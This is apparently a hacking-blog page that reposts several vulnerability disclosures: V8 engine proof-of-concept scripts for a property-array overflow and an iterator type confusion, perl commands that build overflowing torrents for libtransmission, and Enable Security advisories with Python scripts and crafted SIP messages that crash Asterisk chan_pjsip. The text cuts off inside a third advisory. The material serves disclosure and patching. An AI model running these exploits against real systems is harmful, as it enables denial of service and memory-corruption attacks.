Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863562377

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Here's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object.

  int number_of_fields = new_map->NumberOfFields();
  int inobject = new_map->GetInObjectProperties();
  int unused = new_map->UnusedPropertyFields();

  ...

  int total_size = number_of_fields + unused;
  int external = total_size - inobject;
  Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);

The new_map variable may come from the Map::CopyWithField method.

Here's a snippet of the method.
MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name,
                                    Handle<FieldType> type,
                                    PropertyAttributes attributes,
                                    PropertyConstness constness,
                                    Representation representation,
                                    TransitionFlag flag) {
  ...
  if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) {
    return MaybeHandle<Map>();
  }

  DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable);
  Descriptor d = Descriptor::DataField(name, index, attributes, constness,
                                       representation, wrapped_type);

  Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag);
  new_map->AccountAddedPropertyField();
  return new_map;
}

The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances.

This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert.

#
# Fatal error in ../../v8/src/objects-inl.h, line 1750
# Debug check failed: index < this->length() (0 vs. 0).
#

==== C stack trace ===============================

    0   d8                                  0x00000001071f6372 v8::base::debug::StackTrace::StackTrace() + 34
    1   d8                                  0x00000001071fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192
    2   d8                                  0x00000001071eaf4a V8_Fatal(char const*, int, char const*, ...) + 442
    3   d8                                  0x00000001071ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000105b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116
    5   d8                                  0x000000010630e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558
    6   d8                                  0x00000001061f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899
    7   d8                                  0x000000010632221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254
    8   d8                                  0x000000010631f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112
    9   d8                                  0x0000000105f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647
    10  d8                                  0x0000000105f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258
    11  d8                                  0x0000000105fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321
    12  d8                                  0x0000000105fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979
    13  ???                                 0x000000010d385204 0x0 + 4516762116
Received signal 4 <unknown> 0001071f2478
Illegal instruction: 4

It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes.

PoC:
*/

function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x1000000);
}

function trigger() {
    function* generator() {
    }

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i];
        generator.prototype['b' + i] = 0x1234;
    }

    gc();

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i] = 0x1234;
    }
}

trigger();
            
I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow.

#define tr_new(struct_type, n_structs)           \
  ((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))
 
#define tr_new0(struct_type, n_structs)          \
  ((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))
 
#define tr_renew(struct_type, mem, n_structs)    \
  ((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))


Here is one example when parsing the files dictionary:

 static const char*
 parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)
 {
   int64_t len;
 ...
       inf->isFolder = true;
       inf->fileCount = tr_variantListSize (files);
       inf->files = tr_new0 (tr_file, inf->fileCount); <--

Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e".

Here are a few more:

 static const char*
 getannounce (tr_info * inf, tr_variant * meta)
 {
...
       for (i=0; i<numTiers; i++)
         n += tr_variantListSize (tr_variantListChild (tiers, i));
 
       trackers = tr_new0 (tr_tracker_info, n); <--

static void
geturllist (tr_info * inf, tr_variant * meta)
{
...
      const int n = tr_variantListSize (urls);

      inf->webseedCount = 0;
      inf->webseeds = tr_new0 (char*, n); <--

static const char*
tr_metainfoParseImpl (const tr_session  * session,
                      tr_info           * inf,
                      bool              * hasInfoDict,
                      size_t            * infoDictLength,
                      const tr_variant  * meta_in)
...
      inf->pieceCount = len / SHA_DIGEST_LENGTH;
      inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <--


Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:

#define tr_new(struct_type, n_structs) \
    ((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))

They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.

Another bug, containerReserve() doesn't check for integer overflow or allocation failure:

static void
containerReserve (tr_variant * v, size_t count)
{
...
      v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <---
      v->val.l.alloc = n;
...
}

Another bug is that tr_sha1 uses signed integers for length, rather than size_t:

bool
tr_sha1 (uint8_t    * hash,
         const void * data1,
         int          data1_length,
                      ...)

This can cause memory corruption with very large torrents.

Here are some simple testcase for 32bit systems:

$ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent
$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent

This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding.

Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:

$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent
$ python -m SimpleHTTPServer 8080 &
$ transmission-cli http://localhost:8080/test.torrent

The transfer can be compressed to make it a manageable size, it's about 2G otherwise.
            
/*
Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
    case JS_SET_KEY_VALUE_ITERATOR_TYPE:
    case JS_SET_VALUE_ITERATOR_TYPE: {
      Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }
    case JS_MAP_KEY_ITERATOR_TYPE:
    case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
    case JS_MAP_VALUE_ITERATOR_TYPE: {
      Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }

For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.

PoC:
*/

function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;

    let arr = [iterator, iterator];
    if (b)
        return arr.slice();
}

for (let i = 0; i < 100000; i++)
    opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b);  // false
a.x = 7;

print(b.x);  // 7

a.a = 1.1;  // transition
b.b = 0x1234;
a.a = 1.1;  // type confusion
            
'''
# Crash occurs when sending a repeated number of INVITE messages over TCP or TLS transport

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with `--with-pjproject-bundled`
- References: AST-2018-005, CVE-2018-7286
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html>
- Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5
- Timeline:
    - Issue reported to vendor: 2018-01-24
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A crash occurs when a number of INVITE messages are sent over TCP or TLS and
then the connection is suddenly closed. This issue leads to a segmentation fault. 

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.

## How to reproduce the issue

The following script was used to reproduce the issue on a TLS connection:
'''

python
import md5
import re
import socket
import ssl
import uuid
from time import sleep

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5061
USERNAME = "3000"
PASSWORD = "3000"
INVITE_USERNAME = "3000"

errno = 0
lasterrno = 0
while True:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock = ssl.wrap_socket(sock,
                               ssl_version=ssl.PROTOCOL_TLSv1,
                               )

        sock.connect((SERVER_IP, SERVER_PORT))
        sock.settimeout(0.5)
        errno = 0
        callid = str(uuid.uuid4())
        for ix in range(10):
            sdpbody = ""

            msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \
                "To: <sip:%s@%s:%i>\r\n" \
                "From: Test <sip:%s@%s:%s>\r\n" \
                "Call-ID: %s\r\n" \
                "CSeq: 2 INVITE\r\n" \
                "Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
                "Contact: <sip:%s@172.17.0.1>\r\n" \
                "Content-Type: application/sdp\r\n" \
                "{{AUTH}}" \
                "Content-Length: %i\r\n" \
                "\r\n" % (
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    INVITE_USERNAME, SERVER_IP, SERVER_PORT,
                    USERNAME, SERVER_IP, SERVER_PORT,
                    callid, callid,
                    USERNAME, len(sdpbody)
                ) + \
                sdpbody

            sock.sendall(msg.replace("{{AUTH}}", ""))

            data = sock.recv(10240)
            # print(data)
            if data.startswith("SIP/2.0 401"):
                for line in data.split('\r\n'):
                    if line.startswith("WWW-Authenticate"):
                        content = line.split(':', 2)[1].strip()
                        realm = re.search(
                            "realm=\"([a-z]+)\"", content).group(1)
                        nonce = re.search(
                            "nonce=\"([a-z0-9\/]+)\"", content).group(1)
                        ha1 = md5.new(USERNAME + ":" + realm +
                                      ":" + PASSWORD).hexdigest()
                        uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
                        ha2 = md5.new("INVITE:" + uri).hexdigest()
                        r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

                        auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                            "realm=\"%s\"," % (realm) + \
                            "nonce=\"%s\"," % (nonce) + \
                            "uri=\"%s\"," % (uri) + \
                            "response=\"%s\"," % (r) + \
                            "algorithm=md5\r\n"
                        print(auth)

            sock.sendall(msg.replace("{{AUTH}}", auth))
            errno = 0
    except (socket.error, ssl.SSLEOFError), err:
        print(err)
        print("getting close!")
        sleep(2)
        errno += 1
    if errno >= 10:
        print("confirmed dead")
        break
    elif errno > lasterrno:
        lasterrno = errno
        continue

'''
The output from the tool should show the following:

```
> python test.py
Authorization: Digest username="3000",realm="asterisk",nonce="1516728889/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5

EOF occurred in violation of protocol (_ssl.c:590)
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
confirmed dead
```

Notes:

- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
- similar code to the above can be used to reproduce the issue on TCP transport


### GDB backtrace result

```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv

Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff030a700 (LWP 133)]
ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
3956            if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == tdata->dest_info.addr.count - 1)) {
(gdb) bt
#0  ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
#1  0x00007ffff1a8dbb1 in check_request_status (inv=inv@entry=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3371
#2  0x00007ffff1a8dc83 in session_inv_on_state_changed (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3455
#3  0x00007ffff7848217 in inv_set_state (state=PJSIP_INV_STATE_DISCONNECTED, e=0x7ffff0308ae0, inv=0x7fff9910bac8) at ../src/pjsip-ua/sip_inv.c:317
#4  inv_on_state_null (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:3890
#5  0x00007ffff7841a77 in mod_inv_on_tsx_state (tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:717
#6  0x00007ffff788299d in pjsip_dlg_on_tsx_state (dlg=0x7fff990eccc8, tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip/sip_dialog.c:2066
#7  0x00007ffff787b513 in tsx_set_state (tsx=0x7fff99116408, state=PJSIP_TSX_STATE_TERMINATED, event_src_type=PJSIP_EVENT_TRANSPORT_ERROR, event_src=0x7fff9910fda8, flag=0)
    at ../src/pjsip/sip_transaction.c:1267
#8  0x00007ffff787cfec in send_msg_callback (send_state=0x7fff9918d2f0, sent=-171064, cont=0x7ffff0308c04) at ../src/pjsip/sip_transaction.c:1970
#9  0x00007ffff78661ae in send_response_resolver_cb (status=<optimized out>, token=0x7fff9918d2f0, addr=0x7ffff0308c60) at ../src/pjsip/sip_util.c:1721
#10 0x00007ffff184df8c in sip_resolve (resolver=<optimized out>, pool=<optimized out>, target=0x7fff99116530, token=0x7fff9918d2f0, cb=0x7ffff78660f0 <send_response_resolver_cb>)
    at res_pjsip/pjsip_resolver.c:527
#11 0x00007ffff7869adb in pjsip_resolve (resolver=0x1b64d40, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0,
    cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_resolve.c:209
#12 0x00007ffff78652b9 in pjsip_endpt_resolve (endpt=endpt@entry=0x1638d28, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0,
    cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_endpoint.c:1164
#13 0x00007ffff7867fe1 in pjsip_endpt_send_response (endpt=0x1638d28, res_addr=res_addr@entry=0x7fff99116508, tdata=tdata@entry=0x7fff9910fda8, token=token@entry=0x7fff99116408,
    cb=cb@entry=0x7ffff787cd80 <send_msg_callback>) at ../src/pjsip/sip_util.c:1796
#14 0x00007ffff787bdac in tsx_send_msg (tsx=0x7fff99116408, tdata=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:2237
#15 0x00007ffff787dc67 in tsx_on_state_proceeding_uas (event=0x7ffff0309b30, tsx=0x7fff99116408) at ../src/pjsip/sip_transaction.c:2704
#16 tsx_on_state_trying (tsx=0x7fff99116408, event=0x7ffff0309b30) at ../src/pjsip/sip_transaction.c:2634
#17 0x00007ffff787fba7 in pjsip_tsx_send_msg (tsx=tsx@entry=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:1789
#18 0x00007ffff78822a3 in pjsip_dlg_send_response (dlg=0x7fff990eccc8, tsx=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_dialog.c:1531
#19 0x00007ffff784519a in pjsip_inv_send_msg (inv=0x7fff9910bac8, tdata=0x7fff9910fda8) at ../src/pjsip-ua/sip_inv.c:3231
#20 0x00007ffff1a8c043 in ast_sip_session_send_response (session=session@entry=0x7fff9910e208, tdata=<optimized out>) at res_pjsip_session.c:1712
#21 0x00007ffff1a8ec09 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2963
#22 handle_new_invite_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3062
#23 session_on_rx_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3126
#24 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff9524ce58, p=p@entry=0x7ffff1a7ed00 <param>,
    p_handled=p_handled@entry=0x7ffff0309d44) at ../src/pjsip/sip_endpoint.c:893
#25 0x00007ffff185427f in distribute (data=0x7fff9524ce58) at res_pjsip/pjsip_distributor.c:903
#26 0x00000000005fc6fe in ast_taskprocessor_execute (tps=tps@entry=0x1cf2b08) at taskprocessor.c:963
#27 0x0000000000603960 in execute_tasks (data=0x1cf2b08) at threadpool.c:1322
#28 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x16343d8) at taskprocessor.c:963
#29 0x0000000000603e40 in threadpool_execute (pool=0x1637b78) at threadpool.c:351
#30 worker_active (worker=0x7fffa0000948) at threadpool.c:1105
#31 worker_start (arg=arg@entry=0x7fffa0000948) at threadpool.c:1024
#32 0x000000000060eddd in dummy_start (data=<optimized out>) at utils.c:1257
#33 0x00007ffff5e366ba in start_thread (arg=0x7ffff030a700) at pthread_create.c:333
#34 0x00007ffff541f3dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''
            
'''
# Segmentation fault occurs in Asterisk with an invalid SDP media format description

- Authors:
    - Alfred Farrugia <alfred@enablesecurity.com>
    - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-002
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-002.html>
- Tested vulnerable versions: 13.10.0, 15.1.3, 15.1.4, 15.1.5, 15.2.0
- Timeline:
    - Report date: 2018-01-15
    - Vendor patch made available to us: 2018-02-05
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using `chan_pjsip`.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use.

## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 115

v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.2
m=audio 17002 RTP/AVP 4294967296
```


The problematic SDP section is:

```
m=audio 17000 RTP/AVP 4294967296
```


Notes: 

- authentication may be required 
- the destination SIP address should match a valid extension in the dialplan

To facilitate this process we wrote the following python program to reproduce this issue:
'''

python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

while True:
    callid = str(uuid.uuid4())

    fmt = 4294967296

    sdpbody = "v=0\r\n" \
        "o=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
        "s=Asterisk\r\n" \
        "c=IN IP4 172.17.0.2\r\n" \
        "m=audio 17002 RTP/AVP %s" % fmt

    msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
        "To: <sip:%s@%s:%i>\r\n" \
        "From: Test <sip:%s@%s:%s>\r\n" \
        "Call-ID: %s\r\n" \
        "CSeq: 2 INVITE\r\n" \
        "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
        "Contact: <sip:%s@172.17.0.1>\r\n" \
        "Content-Type: application/sdp\r\n" \
        "{{AUTH}}" \
        "Content-Length: %i\r\n" \
        "\r\n" % (
            INVITE_USERNAME, SERVER_IP, SERVER_PORT,
            INVITE_USERNAME, SERVER_IP, SERVER_PORT,
            USERNAME, SERVER_IP, SERVER_PORT,
            callid, callid,
            USERNAME, len(sdpbody)
            ) + \
        sdpbody

    sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

    data, addr = sock.recvfrom(10240)

    if data.startswith("SIP/2.0 401"):
        for line in data.split('\r\n'):
            if line.startswith("WWW-Authenticate"):
                content = line.split(':', 2)[1].strip()
                realm = re.search("realm=\"([a-z]+)\"", content).group(1)
                nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
                ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
                uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
                ha2 = md5.new("INVITE:" + uri).hexdigest()
                r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

                auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                    "realm=\"%s\"," % (realm) + \
                    "nonce=\"%s\"," % (nonce) + \
                    "uri=\"%s\"," % (uri) + \
                    "response=\"%s\"," % (r) + \
                    "algorithm=md5\r\n"

    sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

'''
The loop is required since a crash might not occur immediately.

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

### GDB backtrace result

```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv

[Jan  2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler
[Jan  2 16:07:36] ERROR[45]: pjproject:0 <?>: 	              except.c .!!!FATAL: unhandled exception PJLIB/No memory!


Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff0297700 (LWP 45)]
__longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
32	../setjmp/longjmp.c: No such file or directory.
(gdb) bt
#0  __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
#1  0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54
#2  0x00007ffff7868070 in pool_callback (pool=<optimized out>, size=<optimized out>) at ../src/pjsip/sip_endpoint.c:143
#3  0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63
#4  pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138
#5  0x00007ffff78fbb75 in pj_strdup (pool=pool@entry=0x7fff8c002c90, dst=dst@entry=0x7fff8c027638, src=src@entry=0x7fff8c025638) at ../include/pj/string_i.h:41
#6  0x00007ffff78b287e in pjmedia_sdp_media_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691
#7  0x00007ffff78b4069 in pjmedia_sdp_session_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422
#8  0x00007ffff7847f31 in create_sdp_body (c_sdp=<optimized out>, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722
#9  process_answer (inv=inv@entry=0x7fff8c009f28, st_code=st_code@entry=200, local_sdp=local_sdp@entry=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257
#10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, st_code=st_code@entry=200, st_text=st_text@entry=0x0, local_sdp=local_sdp@entry=0x0, p_tdata=p_tdata@entry=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393
#11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660
#12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270
#13 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dd6298) at taskprocessor.c:963
#14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322
#15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963
#16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351
#17 worker_active (worker=0x7fff94000948) at threadpool.c:1105
#18 worker_start (arg=arg@entry=0x7fff94000948) at threadpool.c:1024
#19 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333
#21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb) 
```

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''
            
'''
# SUBSCRIBE message with a large Accept value causes stack corruption

- Authors: 
     - Alfred Farrugia <alfred@enablesecurity.com>
     - Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- Tested vulnerable versions: 15.2.0, 13.19.0, 14.7.5, 13.11.2
- References: AST-2018-004, CVE-2018-7284
- Advisory URL: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-01-asterisk-pjsip-subscribe-stack-corruption>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-004.html>
- Timeline:
    - Issue reported to vendor: 2018-01-30
    - Vendor patch made available to us: 2018-02-06
    - Vendor advisory published: 2018-02-21
    - Enable Security advisory: 2018-02-22

## Description

A large SUBSCRIBE message with multiple malformed `Accept` headers will crash Asterisk due to stack corruption.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. Brief analysis indicates that this is an exploitable vulnerability that may lead to remote code execution.

## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
SUBSCRIBE sip:3000@127.0.0.1:5060 SIP/2.0
To: <sip:3000@127.0.0.1:5060>
From: Test <sip:3000@127.0.0.1:5060>
Call-ID: 1627b84b-b57d-4256-a748-30d01d242199
CSeq: 2 SUBSCRIBE
